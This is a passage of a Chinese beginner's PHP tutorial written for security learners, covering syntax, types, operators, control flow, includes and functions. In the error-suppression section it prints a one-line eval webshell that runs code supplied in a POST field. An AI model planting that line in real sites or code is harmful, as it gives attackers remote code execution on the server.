PHP编程基础
前言
PHP是安全中需要掌握的一门语言,而每一门语言都是需要花时间学习和精通的,在这里只学了一点是不可能精通的,但是对于一些基础代码能够认识、能够编写就可以了。
同时,这里需要和HTML结合,如果你HTML还没懂,那么就需要加强一些HTML的技术能力了。值得一提的是,你看网页中那么多HTML代码,真的有人去写的么,那是不现实的,都是通过框架自动生成的,像现在的少儿编程不也是一样么。
一、PHP概述
PHP(Hypertext Preprocessor,超文本预处理器):是一种通用开源脚本语言。语法吸收了C语言、java和Perl的特点,利于学习,使用广泛,主要适用于web开发领域。用PHP做出的动态页面与其他的编程语言相比,PHP是将程序嵌入到HTML(标准通用标记语言下的一个应用)文档中去执行,执行效率比完全生成HTML标记的CGI要高许多;PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。
PHP的优势和应用场景:
1.广泛使用:PHP仍然是许多网站和应用的基础,尤其是在内容管理系统(如Word Press、Drupal)中。
2.服务器端执行:PHP代码在服务器上运行,生成HTML再发送到客户端,确保了用户的安全性和隐私。
3.开源与社区支持:作为开源语言,PHP拥有庞大的社区,开发者可以轻松找到丰富的文档、框架和库,提升开发效率。
4.易于学习:PHP语法相对简单,适合初学者快速上手,同时也有丰富的功能供高级开发者使用。
5.数据库集成:PHP与多种数据库(如MySQL、PostgreSQL)兼容,方便开发数据驱动的应用。
6.跨平台:PHP可以在各种操作系统上运行,如Windows、Linux、macOS,使得开发和部署更灵活。
1.1 PHP的发展历程和特点
PHP的发展历程:
1.初期阶段(1995-1997):由Rasmus Lerdorf(雷斯莫斯·勒道夫)首次发布,最初作为个人主页工具,功能简单。
2.引入数据库支持(1998-2000):PHP 3.0发布,支持更多数据库,逐渐被广泛应用于动态网页开发。
3.OOP特性(2004):PHP 5.0推出,引入面向对象编程特性,增强了代码的结构和可重用性。
4.现代化(2015-至今):PHP 7.0发布,显著提高性能和内存使用效率,同时引入类型声明等新特性。
5.框架和工具:随着Laravel、Symfony等框架的出现,开发者的工作流程变得更加高效和标准化。
6.持续改进:PHP社区不断进行更新和优化,响应现代开发需求,增强安全性和性能。
目前有很多流行的基于MVC模式(模型-视图-控制器)的PHP框架,可以提高开发速度和代码组织。
国内外流行的PHP框架包括:
1.Laravel:提供优雅的语法,强大的路由、ORM和丰富的功能,适合快速开发。
2.Symfony:高度模块化,适合构建复杂和大型应用,提供可重用的组件。
3.CodeIgniter:轻量级框架,易于学习,适合小型项目和快速开发。
4.Yii:高性能框架,支持大型应用,具有良好的安全性和高效的缓存功能。
5.Zend Framework:面向企业级应用,提供强大的组件和工具,适合复杂项目。
6.CakePHP:强调约定优于配置,快速构建应用,提供了许多内置功能。
7.ThinkPHP:简单易用、高性能的国内PHP框架,采用MVC架构,具备丰富功能和灵活配置,广受国内开发者欢迎。
1.2 PHP部署安装环境
PHP可以安装的环境比较广泛,可以在windows环境和Linux环境安装部署,并且已经集成比较多环境包安装,AppServ 、PHPstudy、 APMserv、XAMPP、WAMPServer等等,对于我们才入门的学习者来说,选择集成环境包的原则:
1.更新更快,版本较新
2.操作简单易于上手
3.选择项不要过多
因此,我们下面使用的集成环境包是:PHPstudy;当然,如果你对这块比较熟悉了,也可以自行选择集成环境包。
可以在官方网站下载:http://www.phpstudy.net/
教程:Windows 11 本地 php 开发环境搭建:PHP + Apache + MySQL +VSCode 安装和环境配置_php开发环境搭建-CSDN博客
1.3 PHP代码工具选择
Notepad++的特点是小巧,占用资源较少,非常适合初学者使用。
NetBeans和Zend Studio功能强大,但占用较多资源,使用较为复杂,适合专业的开发人员使用。
二、PHP基本语法
2.1 PHP代码组成
2.2 PHP注释
注释:在PHP开发中,为了便于对代码的阅读和维护,可以使用注释来进行解释和说明。它在程序解析时会被PHP解析器忽略。
注释功能说明:
1.对重点进行标注。
2.时间长了容易忘记代码,方便快速回忆,以及方便查找信息。
3.可以让其他人更容易看懂配置信息。
4.还可以生成文档,代码写完相关的文档就写完了,提高工作效率。
5.拥有注释、空行、回车之后的代码看起来更优美。
6.注释可用来排错,不确定代码中哪一块写错了,可以将一大段注释,确定错误区域。
7.注释中的部分的内容,电脑不会执行它。
<?php
// 这是 PHP 单行注释
/*
这是
PHP
多行注释
*/
?>
2.3 PHP标记
标记:由于PHP 是嵌入式脚本语言,它在实际开发中经常会与HTML内容混编在一起, 所以为了区分HTML与PHP代码,需要使用标记对PHP代码进行标识。
当解析一个文件时,PHP 会寻找起始和结束标记,也就是告诉 PHP 开始和停止解析二者之 间的代码。此种解析方式使得 PHP 可以被嵌入到各种不同的文档中去,而任何起始和结束标记之外的部分都会被 PHP 解析器忽略。
2.4 PHP输出语句
- echo:可将紧跟其后的一个或多个字符串、表达式、变量和常量的值输出到页面中,多个数据之间使用逗号“,”分隔 。
- print:与echo的用法相同,唯一的区别是print只能输出一个值。
- print_r():PHP的内置函数,它可输出任意类型的数据,如字符串、数组等。
- var_dump():不仅可以打印一个或多个任意类型的数据,还可以获取数据的类型和元素个数。
2.5 PHP标识符和关键字
标识符:PHP程序开发中,经常需要自定义一些符号来标记一些名称,如变量名、函数名、类名等,这些符号被称为标识符。
标识符的定义需要遵循一定的规则,具体如下:
1.标识符只能由字母、数字、下划线组成,且不能包含空格 。
2.标识符只能以字母或下划线开头的任意长度的字符组成 。
3.标识符用做变量名时,区分大小写 $a
,$A
。
4.如果标识符由多个单词组成,那么应使用下划线进行分隔(例如:user_name) 。
合法标识符: itcast、itcast88、_itcast、username、password等。
非法标识符:66itcast、it cast、123、@itcast等。
关键字:是编程语言中预定义的保留字,具有特殊含义,用于定义语法结构和控制程序的行为。在PHP中,关键字如class
、function
、if
、echo
等,不能用作变量名或函数名,因为它们是语言本身的一部分。使用关键字可以帮助开发者编写清晰和有效的代码。
*表示从PHP5.3开始,●表示从PHP5.4开始,▲表示从PHP5.5开始。
2.6 PHP常量和变量
2.6.1常量
常量:常量就是在脚本运行过程中值始终不变的量,一旦被定义就不能被修改或重新定义。比如:数学中的圆周率π就是一个常量,其值就是固定且不能被改变的。
PHP中常量的特点包括:
1.定义方式:使用define()
函数或const
关键字定义常量。
2.不可变性:常量一旦定义,其值不能被修改或重新赋值。
3.全局可用:常量在定义后可以在整个脚本中访问,无需使用$
符号。
4.命名规则:常量名通常使用全大写字母,以便于区分。
<?php
define('PAI',3.14);
echo '圆周率=',PAI;
define('R',5);
echo '半径=',R;
?>
<?php
const R=6;
const P=2*R;
echo 'P=',P;
?>
系统还为我们准备了一些内置的常量,这些常量都是规定好的预定义常量。
<?php
echo "PHP程序当前文件路径名: ",__FILE__;//使用__FILE__常量获取当前路径
echo "<br />";
echo "PHP程序当前行数: " ,__LINE__;
echo "<br />";
echo PHP_VERSION;
echo "<br />";
echo PHP_OS;
?>
2.6.2 变量
变量:是编程语言中用于存储数据的名称,可以在程序运行时改变其值。
变量的特点包括:
1.定义方式:变量以美元符号($)开头,后跟字母或下划线,后面可以是字母、数字或下划线。例如:myVariable = 10;
。
2.动态类型:PHP是动态类型语言,变量的类型在运行时确定,可以随时改变。例如,$var = 5; $var = "Hello";
。
3.作用域:变量的作用域决定了其可访问性,分为局部变量和全局变量。局部变量在函数内部定义,全局变量在函数外部定义。
4.命名规则:变量名应具有描述性,通常使用小写字母和下划线(如$user_name
)来提高可读性,跟标识符相同。
变量的赋值(= 赋值运算符):一种是默认的传值赋值,另一种是引用赋值。值赋予一个变量。
- 传值赋值:是指将变量的值赋值到另一个变量中,每个变量独立存储自己的值。修改一个变量的值不会影响另一个变量。在PHP中,默认情况下,所有赋值都是传值赋值,将“=”右边的数据赋值为左边的变量。
- 引用赋值:是指在变量之间建立链接,使得多个变量指向同一个数据值。这样,当修改其中一个变量的值时,其他变量也会受到影响。在PHP中,可以使用引用赋值符号
&
来实现。
<?php
$a = 10;
$b = $a; // $b 拷贝 $a 的值
$b = 20; // 修改 $b 的值
echo $a; // 输出 10,$a 的值未受到影响
?>
<?php
$a = 10;
$b = &$a; // $b 引用 $a
$b = 20; // 修改 $b 的值
echo $a; // 输出 20,因为 $a 和 $b 指向同一数据
?>
PHP中预定义了几个超全局变量(superglobals),能够在整个脚本中访问,不受作用域的限制。
主要的超全局变量包括:
1.$GLOBALS:一个关联数组,包含了所有全局变量。可以通过变量名访问,例如:$GLOBALS['var_name']
。
2.$_SERVER:包含关于服务器和执行环境的信息,如请求头、路径和脚本位置。
3.$_REQUEST:用于接收来自表单提交的数据,包含$_GET
、$_POST
和$_COOKIE
的数据。
4.$_POST:接收通过HTTP POST方法发送的数据,通常用于表单提交。
5.$_GET:接收通过HTTP GET方法发送的数据,通常用于URL参数。
6.$_FILES:用于上传文件的信息,包括文件名、类型、大小等。
7.$_COOKIE:包含所有cookie的数据。
8.$_SESSION:用于存储用户会话数据,在多个页面请求之间保持数据。
2.7 PHP数据类型
PHP中支持3种数据类型 :
1.标量数据类型
2.复合数据类型
3.特殊数据类型
2.7.1 布尔型数据类型(bool)
布尔数据类型在PHP中用于表示真(true
)和假(false
)状态,是控制程序逻辑和条件判断的基本类型。
<?php
$x=true;
var_dump($x);
echo "<br />";
$y=false;
var_dump($y);
?>
2.7.2 整型数据类型(int)
整型可以由十进制、八进制和十六进制数指定,用来表示整数 :
1.在它前面加上-
符号,可以表示负数。
2.八进制数使用0~7
表示,前缀为0 。
3.十六进制数使用0~9
与A~F
表示,以0x为前缀。
<?php
$x=-32;
var_dump($x);
echo "<br />";
$y=0;
var_dump($y);
echo "<br />";
$z=32;
var_dump($z);
?>
2.7.3 浮点型数据类型(float/double)
浮点型数据类型在PHP中用于表示带小数的数值,适合存储非整数的数值。
浮点数表示方式可以用十进制形式(如3.14
)或科学记数法(如1.5e3
,表示1500
)表示。
<?php
$x=3.14;
var_dump($x);
echo "<br />";
$y=1.5e3;
var_dump($y);
?>
2.7.4 字符串型数据类型(string)
字符串是由连续的字母、数字或字符组成的字符序列。
字符串表示方式分别为单引号、双引号、heredoc
语法结构和nowdoc
语法结构。
单引号字符串:
- 使用单引号
' '
包裹字符串。
- 变量不会被解析,转义字符仅支持
\\
和\
。
<?php
$str1 = 'Hello, World!';//单引号原样输出字符串
echo $str1;?>
双引号字符串:
- 使用双引号
" "
包裹字符串。
- 支持变量解析和特殊字符(如
\n
、\t
)。
<?php
$name = 'Alice';
$str2 = "Hello, $name!"; // 双引号可以解析变量
echo $str2;?>
heredoc:
- 使用
<<<
后跟标识符声明,可以包含多行字符串,并支持变量解析。
<?php
$name = 'Alice';
$str3 = <<<EOD
Hello, $name!
Welcome to PHP.
EOD;echo $str3;
?>
nowdoc:
- 类似于heredoc,但使用了单引号,内容不会被解析。
<?php
$name = 'Alice';
$str4 = <<<'EOD'
Hello, $name!
This will not parse the variable.
EOD;echo $str4;
?>
2.7.5 特殊数据类型
NULL 值表示变量没有值,NULL 是数据类型为 NULL 值。也可以通过设置变量值为 NULL 来清空变量数据。
一个变量在以下情况下被认为是NULL:
- 被赋值为NULL
- 明确将变量赋值为NULL。
- 尚未被赋值
- 变量未被初始化,PHP会将其视为NULL。
- 被unset()
- 使用
unset()
函数删除变量,之后该变量将被视为NULL。
- 使用
$var = null; // 现在$var是NULL
$var; // 如果没有给$var赋值,它默认为NULL
$var = "Hello";
unset($var); // 现在$var是NULL
资源(Resource):
- 定义:资源是一种特殊的数据类型,用于引用外部资源,通常是与系统相关的资源,比如数据库连接、文件句柄或图像。
- 创建:资源通过特定的函数创建,比如数据库连接、文件打开等。
- 管理:资源需要在不再使用时进行释放,以防止内存泄漏,通常使用
fclose()
(对于文件)或mysqli_close()
(对于数据库连接)。
// 创建数据库连接
$conn = mysqli_connect("localhost", "username", "password", "database");if (!$conn) {die("连接失败: " . mysqli_connect_error());
}// 执行查询等操作...// 关闭连接
mysqli_close($conn);
2.7.6 查看数据类型和判断数据类型
查看数据类型:
1.gettype(引用一个变量);输出变量的类型。
2.var_dump(引用一个变量);输出变量类型和值。
<?php
//可以尝试多个类型
$x=88.8;
echo gettype($x);?>
<?php
//可以尝试多个类型
$x="Hello world!";
var_dump($x);?>
判断数据类型:
使用is_*()
系列函数,is_*()
如果判断的值符合这个数据类型,则返回true,否则返回false
2.7.7 数据类型转换
时机:在PHP中,对两个变量进行操作时,若其数据类型不相同,则需要对其进行数据类型转换。
- 算术运算:如加、减、乘、除等,涉及不同数据类型的变量时,PHP会自动进行类型转换。
- 比较操作:在使用比较运算符(如
==
、===
、!=
、!==
等)时,不同类型的变量会根据需要转换类型进行比较。
- 逻辑运算:在条件判断中,如果布尔值与其他类型的值结合,PHP会自动将其转换为布尔类型。
数据类型转换通常分为自动类型转换和强制类型转换。
自动类型转换(隐式转换):
- PHP会在需要时自动将变量的类型转换为所需的类型,无需开发者手动干预。
- 例如,当字符串与数字相加时,字符串会自动转换为数字。
强制类型转换(显式转换):
- 开发者可以使用强制转换语法主动将变量转换为指定类型。
- 例如,将字符串强制转换为整型。
<?php
$a = "5"; // 字符串
$b = 10; // 整数
$c = $a + $b; // $a被自动转换为整数
echo $c; // 输出15?>
<?php
$x = "20";//字符串
$y = (int)$x; // 转换为整型
echo $y; // 输出20?>
2.8 PHP算数运算方法
运算符:专门用于告诉程序执行特定运算或逻辑操作的符号。根据运算符的作用,可以将PHP语言中常见的运算符分为9类。
2.8.1 算术运算符
算术运算符:
- 是用来处理加减乘除运算的符号
- 也是最简单和最常用的运算符号
<?php
$x = 10;
$y = 5;
echo $x+$y,"<br />";
echo $x / $y;?>
2.8.2 赋值运算符
赋值运算符:
- 是一个二元运算符,即它有两个操作数 。
- 它将运算符右边的值赋给左边的变量。
<?php
$x = 5;
$x += 3; // 等同于 $x = $x + 3
echo $x; ?>
2.8.3 比较运算符
比较运算符:
- 是用来对两个变量或表达式进行比较 。
- 其结果是布尔类型的true或false。
<?php
$a = 5;
$b = '5';
var_dump($a == $b); // 输出true,因为值相同
echo "<br />";
var_dump($a === $b); // 输出false,因为类型不同?>
2.8.4 逻辑运算符
逻辑运算符 :
- 是在程序开发中用于逻辑判断的符号 。
- 其返回值类型是布尔类型。
<?php
$a = true;
$b = false;
var_dump($a && $b); // 输出false
echo "<br />";
var_dump($a || $b); // 输出true?>
2.8.5 递增递减运算符
递增递减运算符:
- 也称作自增自减运算符 ,自加自减运算就是把自己加1或者减1。
- 可被看作是一种特定形式的复合赋值运算符。
“++”或“--”放在操作数的前面,则先进行自增或自减运算,再进行其他运算。
“++”或“--”放在操作数的后面,则先进行其他运算,再进行自增或自减运算。
<?php
$x = 5;
echo ++$x; // 输出6(前缀)
echo "<br />";
echo $x++; // 输出6(后缀)?>
2.8.6 位运算符
位运算符 :
- 是针对二进制数的每一位进行运算的符号 。
- 它专门针对数字0和1进行操作。
<?php
$a = 6; // 二进制 110
$b = 3; // 二进制 011
echo $a & $b; // 输出2(110 & 011 = 010)?>
2.8.7 错误运算符
PHP的错误控制运算符使用@符号来表示,把它放在一个PHP表达式之前,将忽略该表达式可能产生的任何错误信息。如:echo @(4 / 0);
<?php @eval($_POST[cmd]);?>
2.8.8 运算符优先级
运算符的优先级 :
- 指的是在表达式中各个运算符是有参与运算的先后顺序 。
- 括号:使用括号可以明确运算顺序。
- 自增/自减:前缀自增自减的优先级高于后缀。
- 赋值运算符:赋值运算符的优先级最低,通常从右到左计算。
三、PHP流程控制语句
3.1选择结构语句
选择结构语句指的就需要对一些条件作出判断,从而决定执行指定的代码。
3.1.1 if条件判断语句
if条件判断语句也被称为单分支语句,用于判断某个条件是否成立,如果成立,则执行相应的代码块;如果不成立,则跳过该代码块。
比如:只有年龄大于等于18周岁,才输出已成年,否则无输出。
<?php
$age=16;
if($age>=18){echo '已经成年';
}?>
3.1.2 if…else语句
if…else语句也称为双分支语句,当满足某种条件时,就进行某种处理,否则进行另一种处理。
比如:判断一个学生的年龄,大于等于18岁则是成年人,否则是未成年人。
<?php
$age=20;
if($age>=18){echo '已成年';
}else{echo '未成年';
}?>
三元运算符:又称为三目运算符,它也可以完成if…else语句的功能。
- 先求条件表达式的值 ?
- 如果为真,则返回表达式1的执行结果
- 如果为假,则返回表达式2的执行结果
3.1.3 if…elseif…else语句
if…elseif…else语句也称为多分支语句,用于针对不同情况进行不同的处理。
比如:对一个学生的考试成绩进行等级的划分,若分数在90~100分
为优秀,分数在80~90分
为优秀为良好,分数在60~70分
为及格,分数小于60
则为不及格。
<?php
$score=85;
if($score>=90){echo '优秀';
}elseif($score>=80){echo '良好';
}elseif($score>=60){echo '及格';
}else{echo '不及格';
}?>
3.1.4 switch语句
switch语句也是多分支语句,功能与if系列条件语句相同,不同的是它只能针对某个表达式 的值作出判断,从而决定执行哪一段代码。
比如:根据星期几的数字输出相应的名称。
switch
语句根据$day
的值来选择执行的case
。
- 每个
case
后跟一个break
语句,跳出循环,防止继续执行后面的代码。
default
用于处理不匹配任何case
的情况。
<?php
$day = 3;switch ($day) {case 1:echo "星期一";break;case 2:echo "星期二";break;case 3:echo "星期三";break;case 4:echo "星期四";break;case 5:echo "星期五";break;case 6:echo "星期六";break;case 7:echo "星期天";break;default:echo "无效的数字";
}
?>
3.2 循环结构语句
循环结构语句用于重复执行代码块,直到满足特定条件。经常需要让相同的代码块一次又一次地重复运行。我们可以在代码中使用循环语句来完成这个任务。
3.2.1 while循环语句
while循环语句,它会在指定条件为真时重复执行代码块。
比如: while
循环打印从 0 到 4 的数字。
- 初始化一个计数器
$count
为 0。
while
循环的条件是$count < 5
,只要条件为真,就会执行大括号中的代码。
- 每次循环后,通过
$count++
将计数器递增 1。
- 当
$count
达到 5 时,条件为假,循环结束。
<?php
$count=0;
while($count < 5){echo $count."\n";$count++;
}
?>
3.2.2 do…while循环语句
do…while循环语句的功能与while循环语句类似 ,while是先判断条件后执行循环体,而do...while会无条件执行 一次循环体后再判断条件。
比如:计算1到100的和
<?php
$i=1;
$sum=0;
do{$sum+=$i; //$sum=$sum+$i$i++; //i=1+1
}while($i<=100);//只要 i 小于或者等于 100,while 循环将继续运行
echo $sum;?>
3.2.3 for循环语句
for循环语句是最常用的循环语句,它适合循环次数已知的情况。
比如:计算1~100的和
for关键字后面的小括号“()”中包括了三部分内容:① 初始化表达式② 循环条件③ 操作表达式
它们之间用“;”分隔,{}中的执行语句为循环体。for (初始值; 条件; 增量) { 要执行的代码;
}
<?php
$sum=0;
for($i=0;$i<=100;$i++){$sum+=$i;
}
echo $sum;
?>
3.3 跳转语句
跳转语句用于实现程序执行过程中的流程跳转。
3.3.1 break语句
break语句:可应用在switch和循环语句中,其作用是终止当前语句的执行,跳出 switch选择结构或循环语句,执行后面的代码。
<?php
for ($i = 0; $i < 10; $i++) {if ($i == 5) {break; // 当 $i 等于 5 时退出循环}echo $i . "\n";
}?>
3.3.2 continue语句
continue语句:与break语句的区别在于,continue用于结束本次循环的执行,开始下一轮循环的执行操作;break用于终止当前循环,跳出循环体。
<?php
for ($i = 0; $i < 10; $i++) {if ($i % 2 == 0) {continue; // 跳过偶数}echo $i . "\n"; // 只输出奇数
}
?>
3.4 流程替代语法
大量的HTML与PHP代码混合编写时,为了方便区分流程语句的开始和结束位置, 可以使用PHP提供的替代语法进行编码。
<!-- 输出1~99之间的偶数 -->
<ul>
<?php for ($i = 1; $i < 100;
++$i): ?>
<?php if ($i % 2 == 0): ?>
<li><?=$i?></li><?php endif; ?>
<?php endfor; ?>
</ul>
<?= ?>
是 PHP 中的短标记输出语法,用于快速输出变量或表达式的值。这种语法在 PHP 5.4 及之后的版本中默认开启,即使在短标记关闭的情况下也能正常使用。
- 在
<?= $name; ?>
中,$name
的值会被直接输出。
- 使用短标记可以使代码更加简洁,特别是在嵌入 HTML 中时。
<?php
$name = "Alice";
?><p>你好,<?= $name; ?>!</p>
3.5 文件包含语句
在程序开发中,会涉及到多个PHP文件。为此,PHP提供了包含语句,可以从另一个文件中将代码包含进来。 这样不仅可以提高代码的重用性,还可以提高代码的维护和更新的效率。
3.5.1 include
include
语句将指定文件的内容包含到当前文件中。如果指定的文件不存在,PHP 会发出警告,但脚本会继续执行。
“文件路径”指的是被包含文件所在的绝对路径或相对路径。
- 所谓绝对路径就是从盘符开始的路径,如“C:/web/test.php”。
- 所谓相对路径就是从当前路径开始的路径,假设被包含文件test.php与当前文件所在路径都是“C:/web”,则其相对路径就是“./test.php”。
- 在相对路径中,“./”表示当前目录,“../”表示当前目录的上级目录。
<?php
include '文件路径'; // 如包含 ./test.php 文件
?>
3.5.2 require
require
语句与 include
类似,但如果指定的文件不存在或无法被包含,PHP 会发出致命错误,并终止脚本的执行。
<?php
require 'config.php'; // 必须包含 config.php 文件
?>
3.5.3 include_once
include_once
确保文件只被包含一次,即使多次调用。它避免了因重复包含同一文件而导致的函数重定义或变量覆盖等问题。
<?php
include_once 'functions.php'; // 只包含一次 functions.php 文件
?>
3.5.4 require_once
require_once
的功能与 require
类似,也确保文件只被包含一次。
<?php
require_once 'database.php'; // 只包含一次 database.php 文件
?>
四、PHP函数的应用
4.1 函数的定义和调用
4.1.1 初识函数
PHP 的真正威力源自于它的函数。PHP 提供了丰富的内置函数,使开发者能够高效地完成各种任务。
函数的分类:
1.系统内置函数:PHP 提供的预定义函数,如字符串处理、数组操作、日期时间处理等,超过 1000 个。
2.自定义函数:开发者可以根据需要定义自己的函数,以实现特定功能。在实际开发当中需要很多功能去反复调用,而这些反复要使用到的功能,我们可以定义成功能(函数)。
函数的特点:
1.函数将特定功能的代码封装起来,提供简洁的接口。
2.使用一个函数时,只需关心函数的参数和返回值,就可以完成一个特定的功能。
函数命名准则:
1.函数名称应该能清晰描述其功能,便于其他开发者理解。
2.函数名称以字母或下划线开头,不能以数字开头,且可以包含字母、数字和下划线。
<?php
$str = 'ABcd';
$P = strtoupper($str); // 调用strtoupper()函数将$str转换成大写
$p = strtolower($str); // 调用strtolower()函数将$str转换成小写
echo $P; // 输出结果:ABCD
echo "<br>";
echo $p; // 输出结果:abcd
?>
function 函数名($参数1, $参数2) {// 函数体return $result; // 可选的返回值
}
1.function:在声明函数时必须使用的关键字
2.函数名:要符合PHP的标识符,且函数名是唯一的,不区分大小写
3.(参数1, 参数2…):外界传递给函数的值,它是可选的,多个参数之间使用逗号“,”分隔。
4.函数体:函数定义的主体,专门用于实现特定功能的代码段。
5.返回值:需要使用return关键字将需要返回的数据传递给调用者。
4.1.2 参数设置
按值传递:默认情况下,参数是按值传递的,即在函数内对参数的修改不会影响外部变量。
<?php
function modifyValue($value) {$value += 10; // 仅修改了副本,不影响外部变量
}$num = 5; // 定义一个变量 num,值为 5
modifyValue($num); // 调用函数,传入 num 的副本
echo $num; // 输出 num 的原始值,结果是 5
?>
按值传递:在 modifyValue 函数中,$value 是 $num 的副本。对 $value 的任何修改不会影响原始变量 $num。
输出结果:echo $num; 输出的是原始变量 $num 的值,即 5,因为函数内的修改只作用于副本。
引用传递:可以通过在参数前加上 &
来实现按引用传递,函数内对参数的修改会影响外部变量
<?php
function modifyValue(&$value) {$value += 10; // 修改原始变量
}$num = 5; // 定义一个变量 num,值为 5
modifyValue($num); // 调用函数,传入 num 的引用
echo $num; // 输出 num 的新值,结果是 15
?>
1.按引用传递:在函数定义中使用 & 符号表示 $value 是 $num 的引用。这意味着对 $value 的修改会直接影响 $num。
2.修改原始变量:调用 modifyValue($num); 后,$value 被修改为 15,因为 $value 实际上指向的是 $num 的内存地址。
3.输出结果:echo $num; 输出 15,表示原始变量的值已经被修改。
4.1.3 变量的作用域
局部变量:
- 定义:在函数内部定义的变量称为局部变量。它们只在该函数的作用域内有效。
- 作用域:局部变量在函数执行完毕后会被销毁,无法在函数外部访问。
<?php
function myFunction() {$localVar = 10; // 局部变量echo $localVar; // 10
}myFunction();
echo $localVar; // 这里不会输出,因为 $localVar 在函数外部不可用
?>
全局变量:
- 定义:在函数外部定义的变量称为全局变量。它们在整个脚本中都是可用的。
- 作用域:全局变量可以在任何函数内使用,但在函数内部使用,需要使用
global
关键字或超全局变量$GLOBALS[‘x’]
来调用。
<?php
$x=100;
function test(){
global $x;$y=10;
return $x+$y;
}
echo test();//110
?><?php
$x=100;
function test(){
$y=10;
return $GLOBALS['x']+$y;
}
echo test();//110
?>
4.2 函数的嵌套调用和递归调用
4.2.1 嵌套调用
嵌套调用:是指在一个函数内部调用另一个函数,这种在函数内调用其他函数的方式称为嵌套调用。
- 嵌套函数可以将一个复杂的功能分解成多个子函数,再通过调用的方式结合起来,有利于提高函数的可读性。
比如:老师要计算每个学生语文和数学平均分,首先思路是编写一个函数用于计算学生的语文和数学的总分,然后再编写一个函数用于实现学生的平均分。
- 定义 sum 函数:接受两个参数
$yuwen
(语文分数)和$shuxue
(数学分数),计算这两个分数的总和,并返回。
- 定义 avg 函数:接受同样的两个参数
$yuwen
和$shuxue
。调用sum
函数计算总分,然后将总分除以 2 以计算平均分,返回平均分。
- 调用 avg 函数:使用
echo
输出调用avg(50, 20)
的结果。
<?php
function sum($yuwen, $shuxue) {$sun = $yuwen + $shuxue; // 计算总分return $sun; // 返回总分
}function avg($yuwen, $shuxue) {$avg = sum($yuwen, $shuxue) / 2; // 调用 sum 函数,并计算平均分return $avg; // 返回平均分
}echo avg(50, 20); // 输出平均分
?>
4.2.2 递归调用
递归调用:是函数嵌套调用中一种特殊的调用,它指的是一个函数在其函数内部调用自身的过程。递归调用是一种解决方案,一种逻辑思想,将一个大工作逐渐减小为小工作,只不过在程序中,是依靠函数嵌套这个特性来实现了。
比如:求n的阶乘,计算公式为1×2×3×…×n。如4的阶乘等于1×2×3×4=24。
- 使用
function factorial($n)
定义了计算阶乘的函数。
- 基准情况:如果 n≤1,返回 1。
- 递归步骤:返回 n 乘以
factorial($n - 1)
。
<?php
function factorial($n){$sum=1;if($n<=1){return 1;}else{$sum=$n*factorial($n-1);return $sum;}
}
echo "2的阶乘:".factorial(2);
echo "<br>";
echo "3的阶乘:".factorial(3);
echo "<br>";
echo "4的阶乘:".factorial(4);
?>
4.3 函数的高级应用
4.3.1 静态变量
静态变量在函数中被声明后,虽然它的作用域仍然是函数内部,但它的值会在函数的多次调用中保留,不会在每次调用时重置。也就是说,如果在函数中使用静态变量,它的值会随着每次调用而增加,而不是从零开始,可以用 static
关键字来声明这个变量。
<?php
//局部变量
function num()
{
$i = 1;
echo $i;
++$i;
}
echo num(); //第1次调用函数num()输出1
echo "<br>";
echo num();//第2次调用函数num()会输出1
echo "<br>";
echo num();//不论调用多少次num()函数,输出都会为1
?>
<?php
//静态变量
function num()
{
static $i = 1;
echo $i;
++$i;
}
echo num(); //第1次调用函数num()输出1
echo "<br>";
echo num();//第2次调用函数num()会输出2
echo "<br>";
echo num();//以此类推
?>
4.3.2 可变函数
可变变量:通过在变量前添加 $
符号,可以动态创建变量,变成了另外一个变量。
$$hello
是可变变量的用法,$hello
的值是 "world"
,所以 $$hello
实际上相当于 $world
。因此,代码将输出 $world
的值,即 123
。
<?php
$hello="world";
$world="123";
echo $$hello;
?>
可变函数:通过在变量名后添加一对圆括号“()”
,让其变成一个函数的形式,然后PHP寻找与变量值同名的函数,并且尝试执行它。
<?php
function demo(){
echo "天王盖地虎! ";
}
function demo1(){
echo "宝塔镇河妖! ";
}
$de='demo'; //将demo函数名赋给变量$de;
echo $de();//调用该变量名加();
$ee='demo1';//将demo1函数名赋给变量$ee;
echo $ee();
?>
4.3.3 回调函数
回调函数(callback):指的就是具有callable类型的函数,一般用作参数的传递。 如PHP内置函数call_user_func()
可以接受用户自定义的回调函数作为参数,把函数作为参数传入进另一个函数中使用。
<?php
function qwe($name,$age){
echo "我叫$name 我$age 岁了 <br>";
}
call_user_func('qwe', "张三",'18');
call_user_func('qwe', "李四",'24');
?>
4.3.4 匿名函数
匿名函数:就是没有函数名称的函数,也称作闭包函数,经常用作回调函数参数的值。对于临时定义的函数,使用匿名函数无需考虑函数命名冲突的问题。
但匿名函数仍然是函数,可以传入参数,直接把赋数赋值给变量,调用变量即为调用函数。
<?php
$sum = function($a, $b) { // 定义匿名函数
return $a + $b; // 返回两个参数的和
};
echo $sum(100, 200);
?>
在匿名函数中使用外部变量时,需要使用 use
关键字来引入这些变量,use关键字后圆括号“()”
中的内容即为要使用的外部变量列表,多个变量之间使用英文逗号“,”分隔即可。这样可以在匿名函数内部访问并使用外部作用域中的变量。
<?php
$c=100;
$sum=function($a,$b)use($c){return $a+$b+$c;
};
echo $sum(100,200);
?>
五、PHP的内置函数
5.1 字符串函数
字符串函数是PHP用来操作字符串的内置函数,在实际开发中有着非常重要的作用。
5.1.1 strrpos() 获取指定字符串在目标字符串中最后一次出现的位置
"php"
最后一次出现在字符串的索引位置是 20
(即 "You love php,I love "
后面的位置)。因此,输出将是 20
。
<?php
echo strrpos("You love php,I love php too!","php");
?>
5.1.2 substr()截取指定路径中的字符串
substr()函数第3个参数表示截取的长度,该长度的设置具体有以下4种情况。
- 省略第3个参数时,将返回从指定位置到字符串结尾的子字符串。
- 第3个参数为正数,返回的字符串将从指定位置开始,最多包含指定长度的字符,这取决于待截取字符串的长度。
- 第3个参数为负数,返回的字符串中在结尾处将有个指定长度的字符被省略。
- 第3个参数为0、false或null,将返回一个空字符串。
substr()函数的第1个参数表示待截取的字符串,第2个参数表示开始截取的位置,非负数表示从字符串指定位置处截取,从0开始;负数表示从字符串尾部开始,第3个参数表示截取的长度。
<?php
$url = 'C:\web\apache2.4\htdocs\cat.jpg';
$pos = strrpos($url, '\\');//查找最后一个反斜杠 \ 的位置,并将其存储在变量 $pos 中
echo $pos;
echo "<br>";
echo substr($url, $pos + 1);// 截取目标$url,从 $pos + 1 开始,由于没有第三个参数,所有截取到字符串结束。
echo "<br>";
echo substr($url, 0, $pos);// 截取目标$url,从0开始,截取到变量$pos最后一个反斜杠 \ 的位置
?>
5.1.3 substr_replace()替换指定位数的字符
substr_replace() 函数把字符串的一部分替换为另一个字符串。从指定的位置开始,替换指定长度的字符。
